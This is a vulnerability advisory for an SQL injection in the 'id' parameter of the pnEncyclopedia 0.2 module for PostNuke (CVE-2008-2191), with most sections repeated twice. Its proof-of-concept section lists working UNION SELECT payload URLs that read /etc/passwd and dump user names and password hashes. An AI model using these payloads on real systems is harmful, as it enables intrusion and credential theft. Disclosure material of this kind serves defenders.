pnEncyclopedia PostNuke module 'id' Parameter SQL Injection Vulnerability
BID:29046
Info
pnEncyclopedia PostNuke module 'id' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 29046 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-2191 |
| Remote: | Yes |
| Local: | No |
| Published: | May 05 2008 12:00AM |
| Updated: | May 07 2015 05:29PM |
| Credit: | M.Hasran Addahroni |
| Vulnerable: |
pnEncyclopedia pnEncyclopedia 0.2 |
| Not Vulnerable: | |
Discussion
pnEncyclopedia PostNuke module 'id' Parameter SQL Injection Vulnerability
The pnEncyclopedia module for PostNuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
This issue affects pnEncyclopedia 0.2.0; other versions may also be affected.
The pnEncyclopedia module for PostNuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
This issue affects pnEncyclopedia 0.2.0; other versions may also be affected.
Exploit / POC
pnEncyclopedia PostNuke module 'id' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.target.com/index.php?module=pnEncyclopedia&func=display_term&id=9999 union select 1,2,3,4,5,6,version(),8,9,10,11--
http://www.target.com/index.php?module=pnEncyclopedia&func=display_term&id=9999 union select 1,2,3,4,5,6,load_file(0x2f6574632f706173737764),8,9,10,11--
http://www.target.com/index.php?module=pnEncyclopedia&func=display_term&id=9999 union select 1,2,3,4,5,6,concat(pn_uname,0x3a,pn_pass),8,9,10,11 from nuke_users limit 1,1--
Attackers can use a browser to exploit this issue.
The following example URIs are available:
http://www.target.com/index.php?module=pnEncyclopedia&func=display_term&id=9999 union select 1,2,3,4,5,6,version(),8,9,10,11--
http://www.target.com/index.php?module=pnEncyclopedia&func=display_term&id=9999 union select 1,2,3,4,5,6,load_file(0x2f6574632f706173737764),8,9,10,11--
http://www.target.com/index.php?module=pnEncyclopedia&func=display_term&id=9999 union select 1,2,3,4,5,6,concat(pn_uname,0x3a,pn_pass),8,9,10,11 from nuke_users limit 1,1--
Solution / Fix
pnEncyclopedia PostNuke module 'id' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
pnEncyclopedia PostNuke module 'id' Parameter SQL Injection Vulnerability
References:
References:
- PostNuke Homepage (PostNuke Development Team)
- Project Page (pnEncyclopedia)
- [ECHO_ADV_90$2008] PostNuke Module pnEncyclopedia <= 0.2.0 (id) Blind Sql Inject ([email protected] )